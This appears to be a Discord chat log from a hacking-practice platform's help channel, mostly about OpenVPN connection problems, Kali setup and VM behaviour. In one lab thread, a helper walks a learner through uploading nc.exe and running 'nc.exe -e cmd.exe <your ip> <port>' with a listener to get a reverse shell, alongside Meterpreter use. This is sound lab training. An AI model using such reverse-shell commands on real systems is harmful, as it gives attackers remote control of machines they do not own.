well you don't need SSH to use nmap

Hmm. And that's on Kali?

pastel briar
uh sorry to bother you guys again, do i lose all my progress if a room expires?
eager fulcrum
Nothing in the room changes
naive dust
@pastel briar the room itself never expires, unless you leave
eager fulcrum
but everything in the VM is lost
If you leave the room, you don't lose your progress
pastel briar
ok i'm not really technical or knowledgeable
i was simply doing the learn linux, let's say i created a file
naive dust
We're here for you :)
pastel briar
do i lose it tomorrow?
eager fulcrum
It won't be there next time
eager fulcrum
Once the VM expires or is terminated, it's gone
pastel briar

anything i can do at my end to avoid this ?

did you migrate to a stable process, @dawn hatch ?

So my isp is blocking vpn udp connection, is there any tcp connection using openvpn in tryhack me as in htb ?
prime epoch
Does anyone have their kali machine hosted at a remote location? Currently I use xrdp for a GUI but its sooo slow. Any ideas?
latent fable
Don't use a GUI :p
jokes asides, you could SSH into it for the parts that aren't GUI stuff
latent fable
Find the bottleneck in the connection and upgrade
Or lower the resolution, perhaps?
prime epoch
whats the best way to go about finding the bottleneck?
latent fable
that's a good question!
Start by doing a speed test on your own machine vs a speed test server near your remote server
your remote server should have some sort of specs where you rent it. Look at those
prime epoch
i don't rent it, its a vm on an ESXI server at work
latent fable
regardless, you should be able to find specs
alternatively, do a speedtest from the remote server to a speedtest server near your home machine
modest sierra
anyone has an idea about tcp vpn connection instead of the udp one ?

nmap scans takes more than 5min, is that oK? ;o

My connection to my VM just got killed and now the room tells me that this is a subscription only room although I'm subscribed according to my profile.
deep trellis
I can't see why it would redirect you to the why-sub page
Close tab, open a new one and paste https://tryhackme.com/room/linuxctf into that new tab
torpid spade
I guess that this is the preview function here in Discord where I'm not logged in.
I already logged out and logged in again. Subscription status is ok, room tells me otherwise.
latent fable
you broke hacked tryhackme, good job :D
torpid spade
😄
deep trellis
erm, I can't see how that would even happen
torpid spade
I did my best 😉
latent fable
clear your cache and cookies or try in a different browser, perhaps?
deep trellis
Just to be clear, going to https://tryhackme.com/room/linuxctf takes you to /why-subscribe?
torpid spade
No, it doesn't. I see all the tasks and so on.
torpid spade
Yes, sir. I just can't start the VM.
Which I did before, but now it doesn't work anymore.
latent fable
what happens when you try?
torpid spade
latent fable
open task 1
torpid spade
Yes, it's back. But my VM got killed after about 30 minutes.
latent fable
that's curious
latent fable
oh?
torpid spade
Indeed. And my token isn't working. The bot told me that my token couldn't be found.
Yes, there was log message. Sorry, forgot to mention.
The machine is live and online, sorry for the trouble.
deep trellis
First things first, the tiemzone bug has been fixed in our development environment, we just need to push the codebase (just a few delays in pushing due to a new feature we're quickly implementing)
r.e the bot token
I have just tested your token, and it works:)
torpid spade
I would suggest to implement the deploy button outside of Task 1. Stupid me but I was in Task 3 and didn't even think about reopening Task 1 to restart the VM.
Ok, let me test the token once again.
latent fable
did you recently upgrade to subscriber?
torpid spade
An hour ago or so, yes.
latent fable
It's probably related to that in some weird way, but I'm not the devs here. Just a curious soul :D
torpid spade
deep trellis
Ok, let me test the token once again.
@torpid spade Dm the bot!verify <token>
DM me the token you're using:)
torpid spade
My bad, token's working, I was stupid. Thanks for your help everyone.
latent fable
Did you send it your username? :p
torpid spade
Nope, I used the keyword token for the !verify command. I think I read it somewhere, but nevermind, just my fault.
And of course added my token afterwards. As I said, stupid me.
torpid spade
Right?
eager fulcrum
@torpid spade VMs are attached to tasks rather than rooms at the moment. I've suggested giving creators the ability to do either previously.
latent fable
Though to be fair, sometimes it makes sense that the VM is with the task
eager fulcrum
That's why I suggested either, some rooms have multiple VMs
latent fable

okay, so it wasnt in step 2 so i did that killall, started vpn ill do some pings and see if its fixed
will i have to redeploy the machine? or does that not matter
hm still cant ping machine
barren birch
Which machine is it?
barren birch
Sure
barren birch
Yep, it's working for me
tacit gale
so now we know its a me problem
barren birch
Can you screenshot the results of ps aux | grep openvpn for me?
tacit gale
before it was different ill say that
should i restart my machine? was i supposed to after installing the openvpn
barren birch
Well, right now it's not working because you don't actually have a connection open
Try sudo openvpn <path-to-config> && ps aux | grep openvpn
Obviously replacing "<path-to-config>" with wherever the file actually is
barren birch
Lovely
tacit gale
so everything works now 😛 nmap completed and all that, will i have to open vpn like that from now on or start as normal
barren birch
Oh, I just added the bit on at the end so you could compare the two outputs of ps aux | grep openvpn
Just open it as normal
But be aware that if you've got more than one connection open (as I think happened in the first place), strange things can happen
tacit gale
oo okay

thank you for your time it is greatly appreciated 🙂

hello everyone. can someone be kind enough to point a noob in the right direction. Im currently subscribed and trying to get through the Steel Mountain room. I have an open meterpreter session and I've uploaded the powersploit successfully and it loaded onto the target. however, when I run powershell_shell, meterpreter gives: Error running command powershell_shell: ArgumentError wrong number of arguments (given 4, expected 5) How can I fix this? Thanks
eager fulcrum
I think that's a metasploit bug rn
naive dust
@spring umbra #room-help
eager fulcrum
nah msf bug
latent fable
it could also just be a missing option, but yeah, probably that bug
naive dust
So you should try and use that
spring umbra
@latent fable I guess it must be some bug that needs patched for msf. I upgraded to the latest version, that didn't fix it. Then I found a thread on the subject and downgraded to 5.7 and that didnt work. I found some info that included .rb files, but that's where I get lost. I have no idea what to do with that. That was on rapid7's thread on the bug issue
latent fable
just to be 1000% sure, could you post a picture of your options?
spring umbra
options for what? LHOST and such?

did you change LHOST?

Hi im new so sorry if this is the wrong channel but does the VPN change your location because my location is the same

@south trout it's only a partial VPN meaning that it'll only route traffic that is relevent to THM

help with what?

Then machine IP will be replaced with the actual machine ip
spring umbra
ok, now heres my dumb noob question--do i have to write that myself or can i google it
naive dust
Are you using kali
spring umbra
yes
naive dust
Then it should be in /usr/share/windows-binaries/
spring umbra
thanks.
naive dust
Nc works the same as it does in linux
So you should just be able to do nc.exe -e cmd.exe <your ip> <port your listening on>
spring umbra
i found it, now how do i upload it ....nvm. i type slow
naive dust
Same way you did your ps1 script
spring umbra
gotcha
south trout
how to use nmap
spring umbra
one more question @naive dust -- where do i type in what you said? on terminal before i upload to target?
naive dust
You already uploaded the binary right
spring umbra
not yet im about to. i wanted to make sure i didnt have to prep it first
spring umbra
rce?
spring umbra
yes
naive dust
So upload it
spring umbra
just not root yet
naive dust
And then run <path to nc exe> -e cmd.exe <your ip> <the port your listening on>
And use kali's nc to listen on your host aswell
spring umbra
thanks for the help, @naive dust and @latent fable , I didnt get it yet, but right now my brain is mush. I've been trying this all day. learned a lot but i need a break.
latent fable
No worries. You're doing something difficult right now. It might take more takes!
eager fulcrum
Did you update metasploit?
spring umbra
well, i was told when i started to learn Kali, to stay away from it. I was a US marine, you cant tell me no, lol. I am on disability so i have a ton of time to learn, and that's what i did. Im 25% finished the ceh career path in cybrary, plus ive completed a bunch of other courses to learn pentesting. I know it'll take time. i just get frustrated when i cant solve issues quickly

Anyone having issues connecting to the Linux box for beginners
It works on the windows side no problem but though my Kali it wouldn't connect.
leaden token
are you connected to vpn from kali?
dusk frigate
No just openvpn for the connection. It works fine on my windows side no issues just trying to use it in Kali gave me the issue. I think it has to do with the host key only populated for me once earlier after that no other box requested to trust so the connection was refused.
barren birch
@dusk frigate it can be funny if the VM is connected through the host
Try killing the connection in the host and starting it up inside the VM
dusk frigate
I was actually booted into Kali I have a dual boot machine. I powered off the Kali and switched to windows where it works fine but I will try running it in a VM instead on the windows side and see if that helps. I switched over because my Kali machine deployed on the site the cap locks got stuck and it would only type in capitals.

@civic smelt did you have something else installed at the partition that kali is currently installed? and if yes, did you format it before installing kali?
civic smelt
I did format it to ext4
Also created swap drive
Installed on MacBook Pro 2019
First installed boot camp win10, created 2 partitions within win10, installed rEFInd to macOS, bootet from kali stick, installed to ext4 volume, Cldnt set network mirror since hv no wired connection in kali setup
That’s the only thing I can think of
🤔
But now win10 don’t start no more either

if that's the case then you've probably messed up the bootloader
but I've never user rEFInd so I'll leave this to someone else ^_^

Does that include the virtualbox extension pack? @civic smelt
it's a bit out of remit for this discord exactly as Chev said. #site-support is related to the platform itself much rather then local environments.
IIRC though, if the VM is linux, doing sudo apt-get update and then sudo apt-get install open-vm-tools and restarting the VM is the recommended way

but it did
Need to think of a better way to do something

distant carbon
Some servers block ping requests
-Pn stops nmap from sending a ping first to see if the server is up
vivid bronze
Is there any way to fix that
distant carbon
No, it just depends on the host you're trying to run nmap on

I still can't tell if two with one as root and one with sudo is just a part of kali 2020 or not
barren birch
I get it as well @eager fulcrum -- but only when it's within tmux
eager fulcrum
Interesting
barren birch
Mhm. Tmux separates the processes for some reason
Ok, That's fine
Open a new terminal
vivid bronze
Okay thats where I messed it up then
barren birch
Ah
vivid bronze
I just used the one terminal
barren birch
Yeah, new terminal, show us sudo ifconfig?
vivid bronze
barren birch
Ok, kill that machine, then redeploy it
In the mean time, can you ping 10.9.0.1 while you wait for it to boot?
vivid bronze
latent fable
What's on 10.9.0.1? Some testbox?
barren birch
The VPN gateway
latent fable
Ah, of course
vivid bronze
it's responding
barren birch
Lovely, so that's a definite connection
latent fable
So it's the machine itself then
barren birch
Give the CC: Pentesting box a little while to boot
Nah, I had it working a minute ago
barren birch
Ah, fair 😛
latent fable
but yeah, it was unclear~
vivid bronze
how long is a little while
vivid bronze
nope
barren birch
5 minutes max then

it's working now

@vapid dawn For some reason I have connectivity issues to boxes when I boot into my Kali OS if I restart and boot into my windows I can connect fine.
It affects the browser, trying to ssh into a box and the putty client as well.

Why ping Ashu?

hey im havin an issue with connecting to the openvpn
I use to be able to
eager fulcrum
What's happening or not happening?
signal mulch
so it gets to this
but the thing is thats all it gets too and I cant do anything now
eager fulcrum
Control C and run the command again
And you can't use that terminal while OpenVPN is running in there unless you background it
signal mulch
eager fulcrum
What I do personally, is have a seperate tab for OpenVPN
eager fulcrum
Do you see Route Add in there somewhere?
signal mulch
I cant see that
eager fulcrum
Then it's not connected fully
There's some steps after where it's getting to so far
signal mulch
so what I sent is the only thing that I see
eager fulcrum
Control C, try again
Sometimes openvpn seems to get confused
Also make sure there's not another session running

signal mulch
I was so scared lmaooo
eager fulcrum
One VPN session. Only 1. No more, no less. Otherwise things won't work.
eager fulcrum
yeah so it seems that using sudo rather than running as root will give 2 instances
One as root, and one with sudo
Seems to be just how Sudo works
eager fulcrum
I don't think you need to fix it?
signal mulch
well it was giving me the same issue
so I just killed all
and went on the other tab and it started working

hi there, video's are unwatchable, buffering every second, is it normal ?

@tawny portal You'd need to do GPU passthrough which is a pain
Hashcat does have Windows builds
Which I would recommend using
You can run hashcat from Powershell/CMD and use your GPU
tawny portal
Okay I see
eager fulcrum
That's what I do
tawny portal
I was going to
apt-get install nvidia-driver
apt-get install nvidia-smi
Reboot
apt-get install nvidia-cuda-toolkit
but cba, i'll just get hashcat on win
eager fulcrum
Nvidia doesn't like being passed through to VMs as that's what the premium cards have as an advantage
You'd need a second GPU for your host system
barren birch
That's Ok 😄
Type in ping 10.9.0.1
barren birch
Great! That means you're connected, yep
eager fulcrum
@barren birch With 2020.1 and other non root OS, there seems to be 2 processes
One with Sudo as root, and one running as root as a result of sudo
barren birch
Yep, that was my conclusion as well
Meaning the multivpn command and docs need updating
*sigh*
Might be best just including a screenshot of what's good and what isn't
barren birch
@gilded snow are you connected to the VPN?
gilded snow
yeah openvpn using linux
barren birch
Can you ping 10.9.0.1?
gilded snow
no output
barren birch
Ok, screenshot ps aux | grep openvpn for me?
Ah
Yeah
That's the problem
The file can only be used once -- you have rather more than one connection open 😄
sudo killall openvpn
Then restart it 🙂
gilded snow
seriously !!!
barren birch
That working now?
gilded snow
yeah it's working now thanks a lot
barren birch
No problem 😄
gilded snow
i thought that was my firewall or something else
barren birch
Ah -- nah. That's about the most common problem we see around here. You'll know how to deal with it next time though 🙂
gilded snow
yeah i think so 😄

Well done figuring it out
pale palm
so, I'm trying to figure out where I should start
I'm confident I know the basic basics
but I don't wanna start somewhere I don't understand
like, I'm pretty sure I can skip this intro to linux
idk
barren birch
It's worth doing 🙂
If you're confident though
The primer series is a good place to start
RP: Nmap is a really good one to go with

sounds like you might not be able to use if for monitor mode then

There are some really cheap ones out there

It exists, just needs drivers for monitor mode

?

Site seems okay to me @naive dust, have a read through of here: https://docs.tryhackme.com/docs/openvpn/troubleshooting/openvpn-troubleshooting
see if that results in anything fruitful 🙂

Let us know how you get on!

now its a bit better without me doing anything

@zealous yoke the THM kali machine, so no VPN involved here

Looking back, I see your point of view @eager fulcrum thanks. Apologies.
I should sit back for a while I think, been a long week.

Hi. Can anyone tell me is there a command to shut down openvpn when I'm finished? I ran ifconfig 2 hours after I was done and I was still connected.
fair gulch
@fickle girder on Linux?
fickle girder
Yes
eager fulcrum
@fickle girder run the command in the foreground in a terminal tab
fair gulch
Ctrl+c in the terminal
eager fulcrum
Although that won't work it the process is running in the background
fickle girder
I use Terminator a d just split my terminal screen a few times. I usually ctl+c but it still runs.
I run reboot-f to stop it.
just thought there was some command that I was overlooking. Thanks guys.

@tropic minnow be sure you are connected to the network by checking ifconfig or just by ping the target ip

@tropic minnow if you’re connecting on port 80 you’re doing it wrong, scan the host ports

hi, i'm currently doing the Linux challenges room. i'm using the Kali machine in the browser and all is going well. However if i do any other rooms such as the 'learn Linux' room, this option to open in browser does not show up. Does anyone have any idea why this is the case?
this is the view of the 'learn linux' room, as you can see the open in browser option is missing here
barren birch
@naive dust most machines don't have guacamole (in browser) support
I think there are three that do? Maybe slightly more
Kali is one of them
The idea is that you connect to the machines from your own computer
Or, as you're a subscriber, you can use the in-browser kali instead
But you'll still need to connect into most remote machines, be it from your own computer, or subscriber kali
naive dust
thanks @barren birch ! that explains it

It should, I just put that in, just in case it was running as a regular user and sudo wasn't catching them for some reason 🤷♂️

It's just refusing to kill them. That's bizarre
